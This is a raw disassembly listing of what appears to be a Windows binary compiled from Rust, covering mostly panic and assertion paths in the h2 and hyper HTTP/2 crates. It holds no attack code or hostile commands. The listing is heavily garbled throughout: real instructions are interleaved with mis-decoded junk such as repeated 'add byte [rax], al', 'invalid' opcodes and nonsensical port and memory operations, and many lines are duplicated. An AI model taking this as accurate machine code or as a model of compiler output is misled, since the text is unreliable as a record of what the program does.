lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_framehead.rs
mov ecx, 5
mov rdx, r12
call fcn.140122510
lea rax, [rsp + 0x574]
jmp 0x140054d4c
lea rax, [rsp + 0x574]
jmp 0x140054f3c
lea rax, [rsp + 0xa74]
jmp 0x140054d4c
lea rax, [rsp + 0x864]
mov qword [rsp + 0x3d0], rax
lea rax, [0x140033810]
mov qword [rsp + 0x3d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
lea rax, [rsp + 0xe54]
jmp 0x140054f3c
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x3d0], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x3d8], rax
mov rcx, qword [rsp + 0xa40]
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], rax
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x107133
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0x107133
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 2
add byte [rax - 0x39], cl
test byte [rax + rax], ah
and al, 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
and al, 0xf8
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x107110
add byte [rax - 0x39], cl
test byte [rax + rax], ah
and al, 0
and al, 0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
and al, 0xf8
and al, 0xf8
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x107110
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
lea r8, [0x14015bb80]
and al, 0x6d
adc byte [rax], al
call fcn.1401225f0
mov qword [rsp + 0x1e0], 0
lea rcx, [rsp + 0x960]
lea rdx, [rsp + 0x860]
lea r8, [rsp + 0x1e0]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + riz*2], fs
or dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x60
or byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xe0
add dword [rax], eax
add byte [rax], al
call fcn.1401277c0
invalid
invalid
test byte [rsp + rdx*2], ah
invalid
add byte [rax], al
call fcn.1401277c0
lea rax, [rsp + 0xe54]
mov qword [rsp + 0xa70], rax
add byte [rax], al
lea rax, [0x140033810]
mov qword [rsp + 0xa78], rax
add byte [rax - 0x73], cl
add eax, 0xdd318
add byte [rax - 0x73], cl
add eax, 0xdd318
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0xa70]
jmp 0x140054d92
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140122a00
lea rcx, str.reset_at_must_be_set_if_in_queue
lea r8, [0x140132138]
mov edx, 0x20
call fcn.140122a20
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e060]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_GOAWAY_frameC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotogo_away.rs
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0x14
call fcn.140122900
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x3d0], rax
lea rax, [0x140033810]
mov qword [rsp + 0x3d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
lea rax, [rsp + 0x864]
mov qword [rsp + 0xfd0], rax
add byte [rax], al
add byte [rax], al
lea rax, [0x140033810]
mov qword [rsp + 0xfd8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xfd0]
add byte [rdx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0xfd0]
jmp 0x140054f82
lea rax, [rsp + 0x864]
mov qword [rsp + 0xfd0], rax
lea rax, [0x140033810]
mov qword [rsp + 0xfd8], rax
add byte [rax - 0x73], cl
add eax, 0xdd1a8
add byte [rax - 0x73], cl
add eax, 0xdd1a8
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0xfd0]
jmp 0x140054d92
lea rax, [rsp + 0xe54]
mov qword [rsp + 0x570], rax
lea rax, [0x140033810]
mov qword [rsp + 0x578], rax
js 0x14005506f
add byte [rax], al
js 0x14005506f
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*2], ah
add eax, 0xf2e90000
cld
invalid
invalid
push rbp
ror dword [0xc48e9876], 1
and al, 0xe0
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*2], ah
add eax, 0xf2e90000
cld
invalid
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140122a00
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
call fcn.140122660
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov qword [rsp + 0x20], rax
xor eax, 0x89480010
and al, 0x20
lea rcx, [0x140158645]
lea r9, [0x1401586c8]
lea r8, [rsp + 0x1e0]
mov edx, 0xe
call fcn.140122900
add rbx, r15
mov rcx, rbx
call case.0x14006ba56.9
mov qword [rbx], 2
mov rax, qword [rsp + 0x128]
mov qword [rbx + 8], rax
lea rdx, [rsp + 0x1e0]
mov r8d, 0x128
mov rcx, rsi
call fcn.140121660
lea rcx, str.invalid_keyC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140122a20
in al, 0xd8
or al, 0
in al, 0xd8
or al, 0
lea r8, [0x1401320b8]
mov ecx, 9
mov rdx, r12
call fcn.140122510
lea r8, [0x1401320a0]
mov ecx, 9
mov rdx, r12
call fcn.140122510
lea r8, [0x140132088]
lea eax, [0x140132088]
lea eax, [0x140132088]
mov ecx, 9
mov rdx, qword [rsp + 0x50]
call fcn.140122510
lea r8, [0x140132070]
invalid
or eax, 0x9b900
add byte [rax], al
mov rdx, r12
call fcn.140122510
ror dword [rax + rax], cl
invalid
ror dword [rax + rax], cl
lea r8, [0x1401320d0]
mov ecx, 9
mov rdx, r12
call fcn.140122510
lea r8, [0x140132f68]
mov ecx, 2
fisttp qword [0x140080aac]
add byte [rax], al
add byte [rcx + 2], bh
mov edx, 2
call fcn.140122580
lea r8, [0x140132f68]
mov ecx, 4
mov edx, 4
call fcn.140122580
lea r8, [0x140132f68]
mov ecx, 5
add byte [rax], al
add byte [rax], al
mov edx, 5
call fcn.140122580
lea r8, [0x140132f68]
mov ecx, 3
mov edx, 3
call fcn.140122580
or al, 0
or al, 0
lea r8, [0x140132f50]
mov ecx, 1
mov edx, 1
call fcn.140122580
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], bpl
lea rax, [0x140159c08]
and al, 0xe0
add dword [rax], eax
add byte [rax - 0x78], al
lodsb al, byte [rsi]
and al, 0xe8
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1049e1
jmp 0x140055d26
lea rcx, str.assertion_failed:_self.remote.is_none__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
lea r8, [0x14015e6c8]
adc byte [rax], al
adc byte [rax], al
mov edx, 0x27
call fcn.140122660
mov qword [rsp + 0x1e0], rcx
loopne 0x14005524b
add byte [rax], al
add byte [rax + 0x1e82484], cl
add byte [rax], al
mov byte [rsp + 0x1e8], al
lea rax, [0x140159bf0]
jmp 0x140055d26
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e400]
add eax, 0x109193
add eax, 0x109193
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_pong_frame
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0x12
call fcn.140122900
lea r8, [0x140132058]
mov ecx, 9
add byte [rcx + 9], bh
mov rdx, r12
call fcn.140122510
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140122a00
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
lea eax, [0x14015c450]
lea eax, [0x14015c450]
mov edx, 0x25
call fcn.140122660
or al, 0
or al, 0
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], al
lea rax, [0x140159c50]
jmp 0x140055d26
mov qword [rsp + 0xcf8], rax
lea rax, [rsp + 0xbf8]
mov qword [rsp + 0x3d0], rax
and al, 0xd0
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xfffdc59c
and al, 0xd0
add eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xfffdc59c
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0xcf8]
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x1e0], rax
loopne 0x140055332
add byte [rax], al
loopne 0x140055332
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax], ah
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x1e8], 2
mov qword [rsp + 0x200], 0
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1079aa
stosb byte [rdi], al
jns 0x14005537d
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*8], ah
add eax, dword [rax]
add byte [rax - 0x77], cl
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add dword [rax], eax
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1079aa
stosb byte [rdi], al
jns 0x14005537d
invalid
stosb byte [rdi], al
jns 0x14005537d
add byte [rax - 0x73], cl
mov word [rax + riz*8], fs
add dword [rax], eax
add al, ch
push rbp
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
ror dword [rax + rax], 1
ror dword [rax + rax], 1
ud2
lea rcx, [0x14015e55c]
lea r8, [0x14015e620]
mov edx, 0x5e
call fcn.140122660
mov qword [rsp + 0x1e0], r14
mov byte [rsp + 0x1e8], al
lea rax, [0x140159c38]
adc byte [rax], al
adc byte [rax], al
jmp 0x140055cd3
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], bl
lea rax, [0x140159c20]
jmp 0x140055d26
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e710]
jmp 0x14005565c
lea rax, [rsp + 0x864]
mov qword [rsp + 0x570], rax
lea rax, [0x140033810]
mov qword [rsp + 0x578], rax
and al, 0x78
add eax, 0x8d480000
add eax, 0xdcdc4
and al, 0x78
add eax, 0x8d480000
add eax, 0xdcdc4
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 1
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x3f0], 0
mov qword [rsp + 0x3e0], rdi
loopne 0x14005542d
add byte [rax], al
loopne 0x14005542d
add byte [rax], al
mov qword [rsp + 0x3e8], 1
mov dword [rsp + 0x3e8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x3d0]
call fcn.1401224d0
lea rax, [rsp + 0x864]
mov qword [rsp + 0xe50], rax
push rax
invalid
add byte [rax], al
lea rax, [0x140033810]
mov qword [rsp + 0xe58], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 1
mov qword [rsp + 0x3f0], 0
lea rax, [rsp + 0xe50]
push rax
invalid
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x3d0]
call fcn.1401224d0
lea rax, [rsp + 0xa74]
add byte [rax], al
jmp 0x140054f3c
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e3b8]
jmp 0x140055789
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x140159ec8]
mov edx, 0x28
call fcn.140122660
lea rcx, str.invalid_keyC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea ecx, str.invalid_keyC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.1401279a0
invalid
and al, 0xd
invalid
mov fs, word [rcx + 0xd8d4800]
fisttp qword [0x14592a11c]
js 0x1400554fb
lea rcx, [0x140133268]
lea r8, [0x140133298]
mov edx, 0x2d
or eax, 0x2dba00
add byte [rax], al
call fcn.140122660
mov qword [rsp + 0x1e0], rdx
mov byte [rsp + 0x1e8], al
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1047b8
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x1047b8
jmp 0x140055cd3
mov qword [rsp + 0x1e0], r14
mov byte [rsp + 0x1e8], r15b
lea rax, [0x140159b78]
jmp 0x140055d26
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], r15b
lea rax, [0x140159b60]
jmp 0x140055d26
mov qword [rsp + 0x1e0], r14
mov eax, dword [rsp + 0x98]
mov byte [rsp + 0x1e8], al
lea rax, [0x140159b48]
jmp 0x140055d26
mov qword [rsp + 0x1e0], rdx
mov byte [rsp + 0x1e8], al
lea rax, [0x140159d40]
jmp 0x140055cd3
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], r14b
lea rax, [0x140159ae8]
jmp 0x140055d26
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], bpl
lea rax, [0x140159aa0]
jmp 0x140055d26
mov qword [rsp + 0x1e0], rdx
mov byte [rsp + 0x1e8], r15b
lea rax, [0x140159b00]
jmp 0x140055d26
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e178]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_RST_STREAM_frameC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_recv.rs
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0x18
call fcn.140122900
lea rax, [rsp + 0xfd4]
jmp 0x140054e92
clc
invalid
invalid
clc
invalid
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e7e8]
invalid
xchg ecx, eax
adc byte [rax], al
mov word [rcx - 0x76b7fff0], ss
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, [0x14015e878]
lea r8, [rsp + 0x1e0]
mov edx, 0x16
call fcn.140122900
mov qword [rsp + 0x570], r14
mov byte [rsp + 0x578], bl
add byte [rax + 0x578249c], cl
add byte [rax], al
lea rax, [0x140159cc8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e20]
lea r8, [rsp + 0x570]
mov edx, 0x2b
call fcn.140122900
mov qword [rsp + 0x1e0], rsi
mov byte [rsp + 0x1e8], r12b
lea rax, [0x140159ab8]
jmp 0x140055d26
lea rax, [rsp + 0xa74]
jmp 0x140055055
mov qword [rsp + 0x538], r9
lea rax, [rsp + 0xcf8]
mov qword [rsp + 0x3d0], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0x538]
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 2
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e3d0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoping_pong.rs
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0x12
call fcn.140122900
mov byte [rsp + 0x1e0], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rs
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_frame
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0xd
call fcn.140122900
lea rcx, str.assertion_failed:_sz___MAX_WINDOW_SIZE_as_usize
lea r8, [0x140131fc8]
mov edx, 0x30
call fcn.140122660
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x1e8], r12b
lea rax, [0x140159df0]
jmp 0x140055cd3
lea rcx, str.assertion_failed:__id.is_zero__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140145080]
mov edx, 0x1f
call fcn.140122660
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x728]
mov byte [rsp + 0x1e8], al
lea rax, [0x140159bd8]
jmp 0x140055d26
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1e0], rax
mov eax, dword [rsp + 0x124]
mov byte [rsp + 0x1e8], al
lea rax, [0x140159d28]
jmp 0x140055cd3
lea rax, [rsp + 0xe54]
mov qword [rsp + 0xa70], rax
lea rax, [0x140033810]
mov qword [rsp + 0xa78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], 1
mov qword [rsp + 0x590], 0
lea rax, [rsp + 0xa70]
mov qword [rsp + 0x580], rax
mov qword [rsp + 0x588], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x570]
call fcn.1401224d0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.140122580
lea rcx, str.assertion_failed:_val___frame::MAX_MAX_FRAME_SIZE_as_usizeC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_write.rs
lea r8, [0x14015e7d0]
mov edx, 0x3b
call fcn.140122660
mov qword [rsp + 0x1e0], rcx
mov byte [rsp + 0x1e8], al
lea rax, [0x140159b90]
jmp 0x140055d26
lea rcx, [0x140131b68]
call fcn.140122a00
lea rax, [rsp + 0x964]
mov qword [rsp + 0x860], rax
lea rax, [0x140033810]
mov qword [rsp + 0x868], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 1
mov qword [rsp + 0x3f0], 0
lea rax, [rsp + 0x860]
jmp 0x14005549a
lea rax, [rsp + 0x964]
mov qword [rsp + 0x860], rax
lea rax, [0x140033810]
mov qword [rsp + 0x868], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 1
mov qword [rsp + 0x3f0], 0
lea rax, [rsp + 0x860]
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x3d0]
call fcn.1401224d0
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x960], rax
lea rax, [0x140033810]
mov qword [rsp + 0x968], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], 1
mov qword [rsp + 0x880], 0
lea rax, [rsp + 0x960]
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x878], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x860]
call fcn.1401224d0
lea rcx, [0x140145397]
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32_S
mov edx, 0x31
call fcn.140122660
mov ecx, 8
mov edx, 0x28
call fcn.140122190
call fcn.1401224c0
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x960], rax
lea rax, [0x140033810]
mov qword [rsp + 0x968], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], 1
mov qword [rsp + 0x880], 0
lea rax, [rsp + 0x960]
mov qword [rsp + 0x870], rax
mov qword [rsp + 0x878], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x860]
call fcn.1401224d0
mov dword [rsp + 0x1e0], 3
lea rax, [0x14015e1e8]
mov qword [rsp + 0x20], rax
lea rcx, str.unexpected_flow_control_state
lea r9, [0x14015f318]
lea r8, [rsp + 0x1e0]
mov edx, 0x1d
call fcn.140122900
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e1b0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_WINDOW_UPDATE_frame
lea r9, [0x14015e418]
lea r8, [rsp + 0x1e0]
mov edx, 0x1b
call fcn.140122900
mov qword [rsp + 0x1e0], r15
mov byte [rsp + 0x1e8], r14b
lea rax, [0x140159cb0]
jmp 0x140055cd3
mov qword [rsp + 0x1e0], rcx
mov byte [rsp + 0x1e8], al
lea rax, [0x140159d10]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e20]
lea r8, [rsp + 0x1e0]
mov edx, 0x2b
call fcn.140122900
lea rcx, str.assertion_failed:_stream.state.is_closed__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
lea r8, [0x14015e308]
mov edx, 0x2a
call fcn.140122660
mov qword [rsp + 0x1e0], rbx
mov byte [rsp + 0x1e8], al
lea rax, [0x140159b18]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140159e40]
lea r8, [rsp + 0x1e0]
mov edx, 0x2b
call fcn.140122900
lea rcx, [0x140131fef]
lea r8, [0x140132028]
mov edx, 0x39
call fcn.140122660
lea rax, str.pending_ping_should_be_for_shutdown
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 1
mov qword [rsp + 0x1f0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x1f8], xmm0
lea rcx, [rsp + 0x570]
lea rdx, [rsp + 0x1e0]
call fcn.140122d00
lea rcx, str.received_unexpected_shutdown_ping
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov edx, 0x21
call fcn.1401279a0
lea rcx, str.assertion_failed:_self.can_inc_num_local_error_resets__C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamscounts.rs
lea r8, [0x140145138]
mov edx, 0x37
call fcn.140122660
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rs
call fcn.140122a00
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x960], rax
lea rax, [0x140033810]
mov qword [rsp + 0x968], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], 1
mov qword [rsp + 0x590], 0
lea rax, [rsp + 0x960]
jmp 0x14005607d
lea rcx, [0x140159d9a]
lea r8, [0x140159dd8]
mov edx, 0x37
call fcn.140122660
add rbx, 0x2c
mov dword [rsp + 0xa70], esi
mov qword [rsp + 0x3d0], rbx
lea rax, [0x140033810]
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0xa70]
mov qword [rsp + 0x3e0], rcx
mov qword [rsp + 0x3e8], rax
lea rax, [0x140133718]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 2
mov qword [rsp + 0x200], 0
lea rax, [rsp + 0x3d0]
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x1f8], 2
lea rdx, [0x140133738]
lea rcx, [rsp + 0x1e0]
call fcn.1401224d0
lea rax, [rsp + 0x964]
jmp 0x140055924
lea rax, [rsp + 0x964]
mov qword [rsp + 0x860], rax
lea rax, [0x140033810]
mov qword [rsp + 0x868], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], 1
mov qword [rsp + 0x590], 0
lea rax, [rsp + 0x860]
jmp 0x14005596a
mov byte [rsp + 0x1e0], al
lea rax, [0x14015e200]
jmp 0x140055c7f
mov dword [rsp + 0x1e0], 3
lea rax, [0x14015e218]
jmp 0x140055c4c
lea rax, [rsp + 0x864]
mov qword [rsp + 0xa70], rax
lea rax, [0x140033810]
mov qword [rsp + 0xa78], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], 1
mov qword [rsp + 0x590], 0
lea rax, [rsp + 0xa70]
jmp 0x14005607d
lea rax, [rsp + 0xd9c]
mov qword [rsp + 0x960], rax
lea rax, [0x140033810]
mov qword [rsp + 0x968], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], 1
mov qword [rsp + 0x880], 0
mov qword [rsp + 0x870], r9
mov qword [rsp + 0x878], 1
